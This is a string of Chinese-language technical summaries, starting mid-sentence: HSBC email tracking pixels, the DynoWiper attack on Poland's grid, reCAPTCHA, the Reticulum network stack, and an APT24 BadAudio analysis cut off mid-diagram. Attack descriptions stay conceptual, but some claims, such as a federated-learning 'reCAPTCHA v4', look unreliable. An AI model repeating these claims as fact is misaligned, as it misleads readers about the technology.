像素的微小图片，通常为透明或白色，用于秘密追踪邮件阅读行为。B. 工作机制sequenceDiagram participant B as 银行服务器 participant E as 邮件服务器 participant C as 客户端 participant T as 追踪服务器 B->>E: 发送含追踪像素的邮件 E->>C: 投递邮件 C->>C: 用户打开邮件 C->>T: 请求加载追踪图片 T->>B: 记录阅读事件C. 追踪像素与传统回执的区别特性传统邮件回执追踪像素用户知情需要用户同意完全隐藏信息内容已读状态阅读时间、频率、次数可靠性依赖用户选择依赖客户端设置隐私保护有用户控制无用户控制2. 问题根因分析A. 直接原因客户使用隐私保护工具拦截了追踪像素，导致 HSBC 无法收到阅读确认。B. 深层原因（5 Whys 分析）为什么 HSBC 认为邮件未送达？因为追踪像素未被触发为什么追踪像素未被触发？因为客户的隐私保护工具拦截了追踪请求为什么 HSBC 依赖追踪像素确认送达？因为监控资本主义已普遍化，银行假设追踪技术 100% 可靠为什么银行不使用更可靠的验证方式？因为便利性和隐蔽性优先于准确性为什么会产生系统性误判？因为监控资本主义已透明化，银行无法想象用户会拒绝被监控C. 核心矛盾追踪像素的设计初衷是秘密监控，而不是确认送达。两者存在本质区别：确认送达：邮件成功到达收件箱追踪像素：收件人打开了邮件（且未拦截追踪）四、安全问题1. 未加密传输风险HSBC 使用 HTTP 而非 HTTPS 协议传输追踪像素，导致以下风险：A. 网络监听风险当客户在公共 WiFi（如咖啡馆）打开银行邮件时：同一网络的其他人可看到追踪请求攻击者可获知客户使用的银行攻击者可知道客户正在查看银行邮件B. 中间人攻击风险未加密连接允许攻击者：注入恶意内容到邮件底部篡改追踪像素参数执行其他攻击行为2. 隐私侵犯问题A. 超范围数据收集追踪像素可记录：阅读时间戳阅读次数阅读频率可能的 IP 地址和设备信息B. 未经同意的监控未征求用户同意未提供关闭选项违反隐私设计原则五、系统性问题分析1. 监控资本主义普遍化问题的核心在于监控资本主义已变得如此普遍，以至于：银行假设追踪技术 100% 可靠银行无法想象用户会拒绝被监控银行将「无法追踪」等同于「无法送达」2. 邮件系统的设计原则电子邮件最初设计的核心原则：发送方无法知道收件人是否已读邮件收件人完全控制阅读行为隐私保护是内置特性追踪像素破坏了这些原则，引入了:发送方监控能力未经用户同意的数据收集隐私侵犯机制六、改进建议1. 技术层面改进A. 最低要求：使用加密连接将所有追踪像素从 HTTP 改为 HTTPS防止网络监听和数据泄露降低中间人攻击风险B. 停止依赖不可靠的代理认识到追踪像素不等于送达确认建立更可靠的邮件验证机制接受隐私保护是用户的合法选择C. 最佳实践：停止邮件监控尊重用户隐私权遵循「最小必要」数据收集原则实践银行自身发布的数据伦理原则2. 流程层面改进A. 准确的信函模板原模板错误之处：声称邮件「退回且无法送达」标注「需要采取行动」威胁要求更新电子邮件地址改进后的模板应说明：「需要确认您能收到我们的邮件」「请检查您是否收到我们的邮件」「请验证账户中的电子邮件地址是否正确」B. 真实的验证机制不使用追踪像素，而是：发送明确的验证邮件要求用户点击链接确认收到在验证过程中进行身份认证获得用户的知情同意C. 客服培训一致性统一不同渠道的回应标准培训客服理解技术限制建立问题升级机制3. 政策层面改进A. 遵循隐私原则银行应实践其公开声明的原则：仅收集适当用途的数据在设计和审批流程中嵌入隐私考虑向客户透明公开数据使用方式B. 错误透明化当系统出现误判时：承认系统限制透明解释问题根因避免误导性陈述七、经验总结1. 技术教训A. 追踪技术的局限性追踪像素不是可靠的送达确认机制隐私保护工具会干扰追踪系统设计应考虑这些限制B. 安全设计原则所有网络通信应使用加密不应假设用户会接受监控隐私保护应是默认设置2. 流程教训A. 一致性问题不同客服渠道给出矛盾建议信函模板与技术现实不符需要建立一致的沟通标准B. 用户体验问题误导性信函导致用户困扰客服无法有效解决问题需要改进问题处理流程3. 系统性反思A. 监控资本主义的透明化当监控技术变得如此普遍，以至于服务提供方无法想象用户会拒绝被监控，这标志着监控资本主义已变得「透明化」——它已成为系统设计的默认假设。B. 隐私与便利的平衡服务方希望获得尽可能多的数据用户希望保护个人隐私需要在两者之间找到平衡C. 用户的主动防御使用隐私保护工具是合法选择用户有权拒绝被监控服务方应接受并适应这一现实参考资料That's Not How Email Works, HSBC – Dan Q
DynoWiper 恶意软件针对波兰电网攻击技术分析
DynoWiper 恶意软件针对波兰电网攻击技术分析一、新闻概述1. 标题波兰能源电网遭新型擦除器恶意软件攻击，但未能切断电力供应2. 发布时间2026 年 1 月 24 日3. 来源Ars Technica二、核心内容1. 事件摘要A. 主要内容2025 年 12 月最后一周，波兰电力网络遭到擦除器（wiper）恶意软件攻击，该攻击试图破坏可再生能源设施与配电运营商之间的通信，但最终未能成功。B. 核心亮点首次发现针对波兰电网的新型擦除器恶意软件 DynoWiper攻击发生在俄罗斯攻击乌克兰电网 10 周年当天ESET 研究人员以中等置信度将此次攻击归因于俄罗斯黑客组织 Sandworm2. 关键信息A. 攻击时间2025 年 12 月最后一周B. 攻击目标波兰电力网络，特别是可再生能源设施与配电运营商之间的通信系统C. 攻击工具DynoWiper 擦除器恶意软件3. 背景介绍A. Sandworm 组织历史Sandworm 是与俄罗斯政府有关的 APT 组织，长期代表克里姆林宫发动破坏性攻击。该组织最著名的攻击包括 2015 年 12 月对乌克兰电网的攻击，导致约 23 万人在一年中最寒冷的月份停电约 6 小时。这是首次已知的由恶意软件 facilitat 的停电事件。B. 相关上下文此次针对波兰的攻击发生在乌克兰电网攻击 10 周年当天，具有明显的象征意义。ESET 研究人员指出，攻击使用的战术、技术和程序（TTP）与 Sandworm 之前的多起擦除器攻击高度重合。三、详细报道1. 主要内容A. 攻击细节攻击类型：擦除器（wiper）恶意软件攻击攻击目标：可再生能源设施与配电运营商之间的通信攻击结果：未能成功破坏电力供应B. 攻击归因ESET 研究人员基于对恶意软件和相关 TTP 的分析，以中等置信度将此次攻击归因于与俄罗斯结盟的 Sandworm APT 组织。归因依据包括与之前分析的多次 Sandworm 擦除器活动的强烈重叠。C. 恶意软件特征DynoWiper 是一种擦除器恶意软件，其功能是永久擦除服务器上存储的代码和数据，目标是完全摧毁操作。2. 技术细节A. 擦除器工作原理graph TB A[攻击者植入恶意软件] --> B[权限提升与横向移动] B --> C[定位关键系统] C --> D[DynoWiper 执行] D --> E[擦除系统文件] E --> F[擦除引导记录] F --> G[系统无法重启]B. Sandworm 历史攻击时间线timeline title Sandworm 组织主要攻击时间线 2015-12 : 首次电网攻击 : 乌克兰 23 万人停电 6 小时 2017-06 : NotPetya : 全球性破坏性蠕虫爆发 2022-02 : AcidRain : 破坏 27 万台卫星调制解调器 2022-2023 : 多次擦除器攻击 : 针对乌克兰大学和关键基础设施 2025-12 : DynoWiper : 针对波兰电网攻击C. 攻击防护分析graph LR subgraph 攻击链条 A[初始入侵] --> B[权限提升] B --> C[横向移动] C --> D[部署擦除器] D --> E[执行破坏] end subgraph 防护措施 F[网络监控] --> G[入侵检测] G --> H[隔离关键系统] H --> I[数据备份] end A -.检测.-> F B -.阻断.-> G C -.限制.-> H D -.失效.-> I3. 数据与事实A. Sandworm 攻击统计2015 年乌克兰电网攻击：23 万人受影响，停电 6 小时2017 年 NotPetya：全球损失约 100 亿美元，可能是历史上最昂贵的计算机入侵事件2022 年 AcidRain：破坏 27 万台卫星调制解调器自 2022 年入侵乌克兰以来，俄罗斯已使用至少 7 种不同的擦除器B. 擦除器类型清单ESET 去年报告称，Sandworm 在乌克兰的大学和关键基础设施上释放了多种擦除器，此次针对波兰的 DynoWiper 是最新发现的一种。四、影响分析1. 行业影响A. 关键基础设施威胁升级此次攻击标志着针对欧洲国家关键基础设施的网络攻击威胁显著升级。波兰作为北约成员国和乌克兰的主要支持者，其能源系统成为俄罗斯网络战的目标。B. 攻击模式演变从 2015 年首次使用通用恶意软件 BlackEnergy 渗透电网，到现在开发专门的擦除器 DynoWiper，显示出攻击手段的持续进化。C. 威胁扩散虽然此次攻击未能成功，但表明俄罗斯网络战能力已扩展到乌克兰以外，可能在未来针对其他支持乌克兰的欧洲国家。2. 技术趋势A. 定制化擦除器俄罗斯黑客持续开发新的擦除器恶意软件，表明定制化破坏工具已成为网络战的标准武器。B. 时间选择攻击选择在 2015 年乌克兰电网攻击 10 周年当天，显示出攻击具有明显的象征性和政治动机。C. 攻击失败原因目前尚不清楚 DynoWiper 未能破坏电力的具体原因。可能包括：波兰网络防御措施的有效性攻击者有意限制破坏程度以传递信号而不引发全面回应技术实施过程中的失误3. 防御建议A. 网络分段确保关键系统与一般网络隔离，限制恶意软件的横向移动能力。B. 入侵检测与响应部署先进的入侵检测系统，建立快速响应机制，在攻击早期阶段进行阻断。C. 数据备份与恢复建立离线备份和灾难恢复机制，确保即使遭受擦除器攻击也能快速恢复业务。D. 供应链安全加强对可再生能源设施和第三方供应商的安全审查，防止供应链成为攻击入口。五、各方反应1. 官方回应目前尚未有波兰政府或能源公司的官方声明，具体细节仍待进一步披露。2. 业内评价A. ESET 研究人员观点基于对恶意软件和相关 TTP 的分析，ESET 以中等置信度将此次攻击归因于 Sandworm APT 组织。研究人员强调此次攻击与之前多次 Sandworm 擦除器活动的高度重合。B. 安全专家分析安全专家指出，虽然此次攻击未能成功，但显示出俄罗斯网络战能力的持续提升和对欧洲关键基础设施的威胁。3. 用户影响A. 直接影响此次攻击未造成实际停电，波兰民众未受到直接影响。B. 潜在风险随着攻击手段的不断进化，未来针对欧洲能源基础设施的网络攻击可能更加频繁和复杂。六、相关链接1. 官方公告ESET 安全公告和研究报告2. 相关报道Ars Technica 原始报道3. 技术文档关键基础设施网络安全指南擦除器恶意软件分析报告参考资料Wiper malware targeted Poland energy grid, but failed to knock out electricity - Ars Technica
reCAPTCHA 验证码技术原理与未来发展分析一、概述1. 技术背景A. 起源与发展reCAPTCHA 由卡内基梅隆大学的路易斯·冯·安于 2007 年开发，最初具有双重目标：让基于文本的 CAPTCHA 验证码挑战更难被机器人破解，同时提高用于数字化印刷文本的 OCR 准确性。2009 年，Google 收购 reCAPTCHA，并将其发展成为全球最广泛使用的人机验证服务。B. 核心问题在互联网时代，自动化机器人程序大量滥用网站资源，包括恶意注册、垃圾评论、密码暴力破解等。reCAPTCHA 致力于解决一个根本性问题：如何有效区分人类用户和自动化机器人，同时保持良好的用户体验。C. 技术价值reCAPTCHA 不仅是一个安全验证工具，更是一个大规模的人机协作平台。在其发展历程中，用户通过验证同时参与了古籍数字化、图像识别模型训练等有价值的工作。二、工作原理1. 核心机制reCAPTCHA 的工作原理基于三个核心要素：挑战-响应机制、风险评估引擎和行为分析技术。A. 挑战-响应机制系统向用户提出一个挑战，要求用户完成某项任务。这个任务的设计原则是：人类用户容易完成，但自动化程序难以解决。随着技术发展，挑战形式从扭曲文本识别演变为图像选择，最终发展为无感验证。B. 风险评估引擎reCAPTCHA v3 引入了智能风险评估系统，在后台实时分析用户行为。系统根据多个维度生成 0.0 到 1.0 的信任评分，其中 1.0 表示最可能是真实用户，0.0 表示很可能是机器人。C. 行为分析技术通过分析用户的交互模式，包括鼠标移动轨迹、点击方式、键盘输入节奏、触摸手势等，系统可以识别出人类特有的行为特征。2. 技术架构graph TB User[用户访问网站] --> JS[reCAPTCHA JavaScript SDK] JS --> Collect[收集行为数据] Collect -->|鼠标轨迹 点击模式 时序特征| Analysis[风险评估引擎] Analysis -->|机器学习模型 指纹识别 IP信誉| Score[生成信任评分] Score --> Threshold{评分阈值判断} Threshold -->|高分 0.9-1.0| Direct[直接通过] Threshold -->|中分 0.3-0.9| Challenge[触发额外挑战] Threshold -->|低分 0.0-0.3| Block[拒绝请求] Challenge --> Image[图像识别 文本输入 拼图验证] Image --> Verify[验证结果] Verify -->|通过| Direct Verify -->|失败| Block3. 版本演进A. reCAPTCHA v1 - 文本识别阶段（2007-2014）v1 版本采用双重文本验证机制。用户需要输入两个扭曲的单词，其中一个是系统已知的控制词，另一个是从古籍数字化项目中无法识别的词。这种设计既实现了验证功能，又利用人类的识别能力帮助数字化书籍。关键技术特点：基于 OCR（光学字符识别）技术的逆向应用扭曲变形的文本增加机器识别难度交叉验证机制提高准确性为视障用户提供音频验证选项历史贡献：至 2009 年，每天约 3000 万字符通过 reCAPTCHA 被数字化，累计帮助数字化了《纽约时报》历史档案等大量文献。B. reCAPTCHA v2 - 智能验证阶段（2014-2018）v2 版本引入了标志性功能我不是机器人复选框。这一版本的核心创新是自适应风险分析引擎，系统首先根据浏览器指纹、IP 信誉、Cookie 等信息进行快速评估，对于低风险用户只需点击复选框即可通过，高风险用户则需要完成图像识别挑战。关键技术特点：Advanced Risk Analysis 引擎进行预评估图像识别挑战替代文本验证行为生物识别技术（鼠标移动、点击模式）无障碍访问改进用户体验优化：大部分正常用户只需点击一次挑战内容从单一文本扩展到街景门牌号、图像分类等移动端友好的触摸交互设计C. reCAPTCHA v3 - 无感验证阶段（2018 至今）v3 版本实现了完全无感知的验证体验，系统在后台持续评估用户行为，不再中断用户操作。网站管理员可以为不同操作设置不同的风险阈值，实现精细化的安全策略。关键技术特点：实时信任评分机制（0.0-1.0）基于 Actions 的上下文感知联邦学习与边缘计算结合完全无用户交互的验证流程技术架构创新：核心算法在 Google 云端训练轻量级推理模型部署在 CDN 边缘节点混合部署模式兼顾准确性与响应速度三、技术效果评估1. 安全性表现A. 防护效果reCAPTCHA 在过去十几年中有效防护了无数网站免受机器人攻击。根据官方数据，reCAPTCHA v3 能够识别 99% 的机器人流量，同时对真实用户的干扰降到最低。B. 破解挑战随着 AI 技术进步，reCAPTCHA 面临的破解技术也在演进：OCR 技术突破：深度学习模型对扭曲文本的识别率已超过 95%图像识别进步：基于卷积神经网络的图像分类可轻松通过图像验证行为模拟：高级机器人可以模拟人类鼠标轨迹和点击模式打码平台：人工打码服务与 AI 识别结合，实现低成本批量破解C. 安全现状2024-2025 年的研究表明，reCAPTCHA v2 和 v3 都存在被绕过的可能。安全研究人员使用强化学习、浏览器自动化、HTTP 参数污染等技术成功通过了验证。然而，这些破解方法成本较高，大规模应用仍受限制。2. 用户体验A. 演进趋势reCAPTCHA 的用户体验经历了显著改善：v1 版本：用户必须手动输入扭曲文本，平均耗时 10-15 秒v2 版本：大部分用户只需点击复选框，耗时 1-2 秒v3 版本：完全无感知，零额外耗时B. 无障碍访问reCAPTCHA 持续改进无障碍支持，包括：屏幕阅读器兼容性键盘导航支持音频验证选项WCAG 2.1 级别 AA 合规C. 隐私担忧reCAPTCHA 收集的用户行为数据引发隐私担忧。Google 声称数据仅用于验证目的，但 GDPR 等法规要求透明化数据处理过程。四、技术深度分析1. 评分算法reCAPTCHA v3 的评分算法基于多维特征融合：A. 信号采集系统采集的信号包括：浏览器指纹（User Agent、屏幕分辨率、时区、字体列表等）交互行为（鼠标移动速度、加速度、点击压力、触摸手势）网络特征（IP 信誉、AS 号、地理位置）上下文信息（访问路径、停留时间、页面滚动）B. 特征工程原始信号经过特征提取和降维处理，形成高维特征向量。特征工程的关键在于：时序特征提取：将鼠标轨迹转化为时序特征行为模式建模：识别用户操作的节奏和风格异常检测：识别偏离正常模式的行为C. 模型推理特征向量输入到预训练的机器学习模型（可能是深度神经网络或集成学习模型），输出 0.0 到 1.0 之间的风险评分。评分不仅是二分类结果，更是一个连续的置信度指标。2. 联邦学习应用reCAPTCHA v4 引入了联邦学习技术，实现以下目标：A. 隐私保护模型训练在用户设备或边缘节点进行，仅上传模型参数更新而非原始数据，降低隐私泄露风险。B. 模型持续优化联邦学习使模型能够从大规模用户数据中持续学习，适应不断变化的攻击手段。C. 边缘计算部署轻量级模型部署在 CDN 边缘节点，减少延迟，提高响应速度。五、挑战与争议1. AI 与反 AI 的军备竞赛验证码技术本质上是 AI 与反 AI 的博弈。随着生成式 AI、大语言模型的发展，人类与机器的界限日益模糊：GPT-4 等模型可完成图像描述、逻辑推理等高级任务扩散模型可以生成逼真的图像强化学习可以优化行为模拟这场军备竞赛推动验证技术不断升级，也引发一个根本性问题：如果 AI 最终在所有任务上超越人类，验证码是否还有存在意义？2. 用户体验与安全性的平衡验证码需要在安全性与用户体验之间找到平衡：过于严格的验证导致用户流失过于宽松的验证无法阻止机器人无感验证提高了隐蔽性，但也降低了用户感知的安全性最佳实践是根据不同场景设置不同阈值。例如，登录页面可以设置较高阈值（0.7），评论页面可以设置较低阈值（0.3）。3. 隐私与数据保护reCAPTCHA 采集的用户行为数据涉及敏感信息：鼠标轨迹可能反映用户身体状况浏览器指纹可用于跨站追踪行为模式可能暴露用户身份GDPR、CCPA 等法规对数据处理提出严格要求，reCAPTCHA 必须在功能实现与合规性之间取得平衡。六、未来发展方向1. 技术演进趋势A. 完全无感验证未来验证码将更加隐形化，通过高级行为分析、设备指纹、上下文感知等技术实现零打扰验证。B. 多模态融合结合多种验证方式：行为生物识别：鼠标轨迹、触摸手势、输入节奏生理信号：通过传感器采集心率、握持方式等环境上下文：设备状态、网络环境、使用模式C. 自适应风险评估AI 模型将更加智能地评估风险，动态调整验证策略。正常用户几乎感觉不到验证的存在，可疑用户会面临逐渐增强的挑战。2. 替代方案竞争A. Cloudflare TurnstileCloudflare 于 2022 年推出的 Turnstile 是 reCAPTCHA 的有力竞争者：完全免费，无需配置无用户交互，完全无感声称页面加载速度可提升 5-8%基于私密访问令牌，减少隐私担忧B. hCaptchahCaptcha 定位为隐私友好的替代方案：强调 GDPR 合规用户可选择贡献数据获得收益与 reCAPTCHA 接口兼容，迁移成本低提供企业级 SLA 保障C. 新兴解决方案Friendly Captcha：基于 Proof of Work 的无 Cookie 验证GeeTest：行为分析与 AI 驱动的智能验证Kasada：专注于对抗高级机器人攻击3. 行业影响A. 技术融合验证码技术与以下领域深度整合：身份认证：多因素认证（MFA）的组成部分欺诈检测：金融、电商领域的风险控制数据安全：防止数据爬取和滥用B. 标准化趋势行业正在推动验证码技术的标准化：W3C WebAuthn 标准的扩展FIDO2 联盟的弱认证补充隐私增强技术的标准化七、最佳实践建议1. 部署策略A. 场景化配置根据不同业务场景设置不同的风险阈值：登录注册：高风险阈值（0.7-0.9）评论反馈：中风险阈值（0.5-0.7）内容浏览：低风险阈值（0.3-0.5）B. 渐进式验证采用渐进式验证策略：初次访问：基本验证敏感操作：增强验证异常行为：额外验证C. 降级熔断当验证服务不可用时，应有降级方案：临时使用更严格的验证方式启用备用验证服务限制而非完全阻断访问2. 监控与优化A. 关键指标持续监控以下指标：验证通过率验证耗时分布评分分布误报率（真实用户被拒绝）漏报率（机器人通过验证）B. A/B 测试定期进行 A/B 测试，优化验证策略：对比不同阈值的效果评估用户体验影响测试新的验证方法3. 隐私合规A. 透明度向用户清晰说明：采集哪些数据数据如何使用数据存储多久用户有哪些权利B. 最小化采集遵循数据最小化原则：仅采集必要的验证数据不用于验证之外的目的及时删除过期数据C. 用户控制提供用户控制选项：查看验证数据删除历史记录选择验证方式八、总结reCAPTCHA 从 2007 年诞生至今，经历了从文本识别到无感验证的完整演进。它不仅是一个安全工具，更是人机协作、AI 训练、隐私保护等多个领域的交叉点。随着 AI 技术的快速发展，验证码技术面临前所未有的挑战。未来的验证将更加智能、更加隐形、更加注重隐私保护。同时，新的技术范式，如 WebAuthn、生物识别、零信任架构，可能逐步替代传统验证码，成为新的主流。这场没有终点的军备竞赛，既反映了技术进步的辩证关系，也体现了人类在数字时代不断自我定义的努力。参考资料Google 验证码进化史：我们越来越方便，但也交出了更多 - 媒体分析谷歌 reCAPTCHA 深度解析：从原理到落地 - 技术解析am I a robot? 机器人验证背后的原理 - 原理科普CAPTCHA 的运作方式 | CAPTCHA 有何含义？ - Cloudflare 官方文档验证码的发展史与未来预测 - 行业分析谷歌 reCAPTCHA 各个版本功能与技术原理解读 - 版本对比隆重推出 reCAPTCHA v3：阻止漫游器的新方式 - Google 官方博客reCAPTCHA V3 深度技术解析：智能风险评估机制与防御策略 - 技术深度解析2025 年使用 AI 识别技术破解 reCAPTCHA - 破解技术分析Best CAPTCHA Alternatives for Smarter Fraud Prevention - 替代方案分析
Reticulum 加密网络栈技术分析一、项目概述1. 简介A. 是什么Reticulum 是一个基于密码学的网络协议栈，用于构建不可阻挡的本地和广域网络。它能够在高延迟、极低带宽的环境下运行，支持 LoRa、分组无线电、WiFi 等多种物理介质。B. 为什么值得关注提供端到端加密和连接性实现发起者匿名通信支持自动配置的多跳传输无需内核模块或驱动，完全运行在用户态不依赖传统 IP 网络栈，独立构建网络层C. 应用场景离网mesh网络应急通信系统抗审查通信平台物联网设备互联隐私保护的网络服务2. 项目背景A. 作者与维护者作者：markqvist项目创建时间：2018 年 4 月项目状态：活跃开发中B. 核心理念Reticulum 的愿景是让每个人都能成为自己的网络运营商，通过廉价且易于部署的工具覆盖广阔区域，构建无数独立、可互操作和自治的网络。这些网络没有关闭开关、监控、审查和控制，可以自由互操作、关联和分离，无需中央监管。这是为人人构建的网络，属于人民的网络。二、技术架构1. 系统组成A. 核心组件网络协议栈（Network Stack）接口系统（Interface System）路由系统（Routing System）加密层（Cryptography Layer）传输层（Transport Layer）B. 关键概念Identity（身份）：基于椭圆曲线加密的身份标识Destination（目标）：网络地址和端点Link（链路）：加密的端到端连接Channel（通道）：可靠的顺序数据传输Path（路径）：多跳路由路径2. 工作原理graph TB A[应用层] --> B[Reticulum API] B --> C[传输层] C --> D[加密层] D --> E[接口系统] E --> F1[LoRa] E --> F2[分组无线电] E --> F3[TCP/IP] E --> F4[串口] F1 --> G[物理介质] F2 --> G F3 --> G F4 --> GA. 协议分层应用层：使用 Reticulum API 的应用程序传输层：提供可靠传输、通道、缓冲机制加密层：处理身份认证、加密、签名接口层：抽象各种物理介质物理层：实际的通信硬件B. 数据流向sequenceDiagram participant App as 应用程序 participant RNS as Reticulum participant IF as 接口 participant Phy as 物理介质 App->>RNS: 发送数据 RNS->>RNS: 加密与签名 RNS->>RNS: 路由查找 RNS->>IF: 封装数据包 IF->>Phy: 发送 Phy->>Phy: 传输 Phy->>IF: 接收 IF->>RNS: 解封装 RNS->>RNS: 验证与解密 RNS->>App: 交付数据三、核心功能特性1. 密码学特性A. 身份与加密512 位椭圆曲线密钥对256 位 Ed25519 签名密钥256 位 X25519 ECDH 密钥前向保密（Forward Secrecy）不可否认的传输确认B. 加密令牌格式基于 Curve25519 的 ECDH 密钥交换AES-256 CBC 模式加密，PKCS7 填充HMAC-SHA256 消息认证通过 os.urandom() 生成 IVC. 密码学原语Reticulum 使用一套高效、强大且经过充分测试的密码学原语：Curve25519 密钥交换Ed25519 数字签名HKDF 密钥派生SHA-256/SHA-512 哈希AES-256-CBC 加密2. 网络特性A. 地址与路由无需协调的全局唯一地址完全自动配置的多跳路由灵活的跨异构载体扩展B. 性能指标最小带宽：5 bps最小 MTU：500 字节性能范围：150 bps - 500 Mbps链路建立开销：仅 3 个数据包（297 字节）链路维持成本：0.44 bpsC. 匿名性发起者匿名：数据包不包含源地址通信时不暴露身份信息3. 接口系统A. 内置接口类型以太网设备LoRa（通过 RNode）分组无线电 TNC（带或不带 AX.25）KISS 兼容硬件和软件调制解调器串口设备TCP over IPUDP over IP外部程序（通过 stdio 或管道）B. 自定义接口支持用户自定义接口模块简单的接口实现 API可扩展的插件系统四、部署与使用1. 系统要求A. 硬件要求任何支持 Python 3 的系统至少半双工通道，吞吐量 > 5 bpsMTU ≥ 500 字节B. 支持平台LinuxmacOSWindowsAndroid（通过 Sideband 应用）嵌入式系统（如树莓派）2. 安装方法A. 通过 pip 安装pip install rnsB. 通过 pipx 安装pipx install rnsC. 从源码安装git clone https://github.com/markqvist/Reticulum.git cd Reticulum pip install .D. 无依赖安装pip install rnspure3. 配置示例A. 基本配置Reticulum 首次启动时会创建默认配置文件，提供基本的本地连接。B. TCP 接口配置RNS Testnet Amsterdam type = TCPClientInterface enabled = yes target_host = amsterdam.connect.reticulum.network target_port = 4965C. LoRa 接口配置需要 RNode 硬件支持。4. 内置工具A. 系统工具rnsd：Reticulum 系统守护进程rnstatus：接口状态查看工具rnpath：路径查找和管理工具rnprobe：连接诊断工具B. 用户工具rncp：简单文件传输程序rnid：身份管理和加密工具rnx：远程命令执行程序C. 扩展工具rnsh：远程 shell 会话工具MeshChat：基于 Web 的 LXMF 客户端Sideband：跨平台图形界面应用五、生态系统1. 基于 Reticulum 的应用A. LXMF分布式、延迟和中断容忍的消息传输协议。B. LXST提供实时音频和信号传输的协议框架，支持语音应用。C. Nomad Network离网、加密、弹性的 mesh 通信平台。D. Sideband功能丰富的跨平台应用，支持：文件传输图像和语音消息实时语音通话分布式遥测系统地图功能插件扩展2. 硬件支持A. RNode专门为 Reticulum 设计的开源 LoRa 接口：可自建可购买完整收发器USB 连接B. 其他硬件数据无线电调制解调器LoRa 无线电串口线路AX.25 TNCWiFi 和以太网设备自由空间光链路六、技术优势1. 架构优势A. 独立性不依赖 IP 协议栈完全用户态运行无需内核模块B. 灵活性支持异构网络拓扑可混合不同物理介质低带宽与高带宽网络可互操作C. 可扩展性模块化接口系统支持自定义接口插件化应用架构2. 安全优势A. 端到端加密所有通信都经过加密前向保密保护不可否认的传输确认B. 匿名性发起者匿名数据包不含源地址身份与地址分离C. 抗审查无中央控制点无关闭开关自治网络运营3. 性能优势A. 低开销链路建立仅需 3 个数据包链路维持成本极低高效的带宽利用B. 高可靠性自动多跳路由确认机制错误检测与纠正C. 广适应性从 150 bps 到 500 Mbps高延迟容忍中断容忍七、使用场景1. 应急通信A. 自然灾害基础设施损毁时的通信离网救援协调分布式信息共享B. 偏远地区缺乏网络基础设施的区域低成本网络覆盖社区自治网络2. 隐私保护A. 抗审查通信规避网络监控保护通信隐私匿名信息发布B. 安全通信端到端加密身份保护数据完整性保证3. 物联网应用A. 传感器网络低带宽传输长距离覆盖低功耗运行B. 设备互联异构设备通信自动发现与配置分布式协作八、技术挑战与限制1. 性能限制A. 当前性能范围下限：150 bps上限：500 Mbps更高速率未充分优化B. 低带宽优化优先低带宽介质性能高速网络优化优先级较低2. 安全考虑A. 未审计未经过外部安全审计可能存在隐私或安全漏洞需要社区安全审查B. 密码学实现默认使用 OpenSSL 后端（快速）纯 Python 实现（较慢、安全性未充分验证）rnspure 包存在安全风险3. 部署复杂性A. 硬件要求需要专用硬件（如 RNode）配置相对复杂需要一定技术知识B. 网络规模大规模部署经验有限性能随规模变化待验证九、发展路线图1. 已实现功能核心协议功能完整API 和线格式稳定多种接口支持丰富的生态系统2. 未来方向A. 性能优化提高高速网络性能扩展性能范围上限B. 功能增强新接口类型改进的路由算法更多的应用协议C. 生态扩展更多应用支持更好的硬件集成简化的部署流程十、社区与支持1. 项目信息A. 代码仓库GitHub：https://github.com/markqvist/Reticulum文档：https://markqvist.github.io/Reticulum/manual/官网：https://reticulum.networkB. 项目规模Stars：3936+Forks：266+语言：Python2. 贡献方式A. 代码贡献提交 Pull Request开发自定义接口报告问题B. 资金支持Monero 捐赠Bitcoin 捐赠Ethereum 捐赠LiberapayKo-Fi3. 测试网络A. 公共测试网TCP 接入点I2P 接入点包含 Nomad Network 节点包含 LXMF 传播节点B. 接入配置提供多个接入点配置示例，详见项目 README。十一、总结1. 技术价值Reticulum 代表了一种全新的网络架构思路：去中心化网络基础设施密码学保障的隐私与安全极致的带宽和延迟适应性真正的网络自主权2. 创新意义技术创新：独立的密码学网络栈社会创新：为人民构建的网络应用创新：支持多样化的通信场景3. 适用人群网络技术研究者隐私保护倡导者应急通信从业者物联网开发者社区网络建设者4. 前景展望随着对数字隐私和网络自主权的关注增加，Reticulum 这样的技术方案将发挥越来越重要的作用。它不仅是一个技术工具，更是一种网络自由和数字主权的实现路径。参考资料Reticulum GitHub 仓库Reticulum 官方网站Reticulum 手册
APT24 组织 BadAudio 恶意软件攻击活动技术分析一、新闻概述1. 标题中国背景 APT24 组织利用 BadAudio 恶意软件入侵合法网站实施攻击2. 发布时间2025 年 11 月 21 日3. 来源Cyber Security News二、核心内容1. 事件摘要A. 主要内容与中国相关的 APT24 高级持续性威胁组织发起了为期三年的恶意软件投放活动，利用高度混淆的 BadAudio 第一阶段下载器实现对目标组织的持久化网络访问。B. 核心亮点APT24 组织展示了从广泛的战略性 Web 入侵转向精确针对性攻击的能力攻击重点转向台湾地区的实体组织结合多种攻击向量：供应链入侵和定向钓鱼攻击利用合法云存储平台（Google Drive、OneDrive）分发恶意载荷2. 关键信息A. 涉及组织APT24（与中国相关的网络间谍组织）B. 攻击工具BadAudio：高度混淆的第一阶段下载器C. 攻击时间线活动持续：约三年BadAudio 出现：2022 年 11 月开始武器化D. 目标区域主要针对台湾地区的实体和组织3. 背景介绍A. 组织历史APT24 是已知的网络间谍组织，此前主要利用战略性 Web 入侵（Strategic Web Compromise）技术进行广泛攻击。B. 攻击演变组织近期转向多向量攻击模式，结合供应链入侵和钓鱼攻击，展示出战术升级。三、详细报道1. 主要内容A. 攻击方式转变APT24 组织从广泛机会主义攻击转向更精确的针对性攻击：供应链入侵：针对台湾地区的数字营销公司定向钓鱼：伪装成动物救援组织的邮件水坑攻击：入侵超过 20 个合法网站注入恶意 JavaScriptB. BadAudio 恶意软件特征BadAudio 是一个用 C++ 编写的自定义第一阶段下载器，具有以下特点：下载、解密并执行 AES 加密的载荷从硬编码的命令与控制服务器获取指令收集系统信息（主机名、用户名、系统架构）使用 Cookie 参数加密传输数据，规避检测C. 技术细节控制流平坦化混淆BadAudio 采用了控制流平坦化（Control Flow Flattening）技术，这是一种高级混淆方法，通过系统性破坏程序的自然逻辑结构来增加逆向分析难度。DLL 劫持技术恶意软件主要以动态链接库形式存在，利用 DLL 搜索顺序劫持（Search Order Hijacking）通过合法应用程序获取执行权限。加密载荷传递后续载荷使用硬编码的 AES 密钥解密，已被确认为 Cobalt Strike Beacon，提供完整的远程访问能力。2. 技术细节A. 攻击流程graph TB A[受害者访问合法网站] --> B[注入恶意JS重定向] B --> C[下载BadAudio下载器] C --> D[DLL劫持执行] D --> E[收集系统信息] E --> F[加密数据通过Cookie传输] F --> G[下载AES加密载荷] G --> H[Cobalt Strike Beacon] H --> 